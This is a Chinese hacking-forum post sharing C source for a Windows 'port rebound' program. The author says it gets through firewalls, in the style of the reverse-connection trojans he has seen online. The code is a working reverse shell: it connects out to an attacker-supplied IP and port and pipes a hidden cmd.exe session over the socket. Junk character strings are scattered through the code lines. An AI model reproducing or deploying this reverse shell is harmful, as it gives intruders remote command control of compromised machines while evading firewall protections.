社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 5538阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 wuqe{?  
AWO)]rM  
/* ============================== 'xW=qboOp  
Rebound port in Windows NT ;UdM8+^/V]  
By wind,2006/7 B,>02EZ  
===============================*/ V DFgu  
#include ^C>kmo3J  
#include  !:( +#  
qGinlE&\  
#pragma comment(lib,"wsock32.lib") ~D52b1f  
}M07-qIX{  
void OutputShell(); d4Uw+3ikW  
SOCKET sClient; OSu&vFKz  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; >M<3!?fW)  
@6 he!wW  
void main(int argc,char **argv) DB vM.'b$  
{ Q):#6|u+  
WSADATA stWsaData; |x}TpM;ni  
int nRet; 1XGg0SC  
SOCKADDR_IN stSaiClient,stSaiServer; )GB#"2  
nrEI0E9  
if(argc != 3) _>gz&  
{ ]ch=@IV  
printf("Useage:\n\rRebound DestIP DestPort\n"); C,|&  
return; XC<fNK  
} >"W^|2R  
/}:{(Go  
WSAStartup(MAKEWORD(2,2),&stWsaData); P{Nvt/%  
>y%H2][  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); g~U( w  
{yn,u)@r9S  
stSaiClient.sin_family = AF_INET; TOG:`FID  
stSaiClient.sin_port = htons(0); 7[ ovEE54  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); +gl\l?>sr  
FXCBX:LnvU  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Wt.DL mO  
{ $|$@?H>K  
printf("Bind Socket Failed!\n"); K+3-XhG  
return; z "@^'{.l  
} 4.9qB  
d4y#n=HnnV  
stSaiServer.sin_family = AF_INET; Mh%{cLM  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); mWviWHK  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); VG5+u,U6>  
;,{ _=n>  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) E$"NOR  
{ @@Ib^sB%  
printf("Connect Error!"); ?9 huuJ s7  
return; AR| 4^  
} SioeIXU  
OutputShell(); h.<f%&)F  
} d`sZ"8}j  
vC]X>P5Px  
void OutputShell() "Q:Gd6?h;  
{ x^ s,<G  
char szBuff[1024]; H,> }t S  
SECURITY_ATTRIBUTES stSecurityAttributes; (-C)A-Uo&  
OSVERSIONINFO stOsversionInfo; lm`*x=x  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 54 $^ldD  
STARTUPINFO stStartupInfo; Y9.3`VX  
char *szShell; 2Zu9? L ,I  
PROCESS_INFORMATION stProcessInformation; 7D'\z IW  
unsigned long lBytesRead; {"o9pIh{~  
*@rA7zPFf  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); v :pT(0N  
1}VaBsEV  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); yP"2.9\erH  
stSecurityAttributes.lpSecurityDescriptor = 0; >}SEU-7&\  
stSecurityAttributes.bInheritHandle = TRUE; GcO2oq  
`KQx#c>'  
/-M:6  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Dk  `&tr  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); #`Su3~T=S  
eWH0zswG  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ~WA@YjQ]  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4Kj.o  
stStartupInfo.wShowWindow = SW_HIDE; c=sV"r?  
stStartupInfo.hStdInput = hReadPipe; *Y>w0k  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; -2.7Z`*(  
jKUEs75]  
GetVersionEx(&stOsversionInfo); =~:IiK/#  
{B+}LL!  
switch(stOsversionInfo.dwPlatformId) Y3 $jNuV  
{ D||0c"E  
case 1: LOUP  
szShell = "command.com"; BlJiHz!  
break; bQ*yXJ^8  
default: 4 \z@Evm  
szShell = "cmd.exe"; (]@S<0  
break; *7Vb([x4;  
} BA\aVhmx  
eRUdPPq_d  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); <Jgcj 4D  
YZ~MByu  
send(sClient,szMsg,77,0); hBU)gP75  
while(1) w=GMQ8  
{  'z} t= ?  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 5]O{tSj  
if(lBytesRead) gWj-@o\  
{ O:?3B!wF  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ` o)KG,  
send(sClient,szBuff,lBytesRead,0); 3?o4  
} KVZB`c$<t  
else R3B+vLGX  
{ qO{z{@jo55  
lBytesRead=recv(sClient,szBuff,1024,0); +tPBm{|  
if(lBytesRead<=0) break; %`]+sg[i  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); (3n "a'  
} snaAn?I4  
} JM7mQ'`Ud  
?L<B]!9HZt  
return; [t4v/vQT  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
10+5=?,请输入中文答案:十五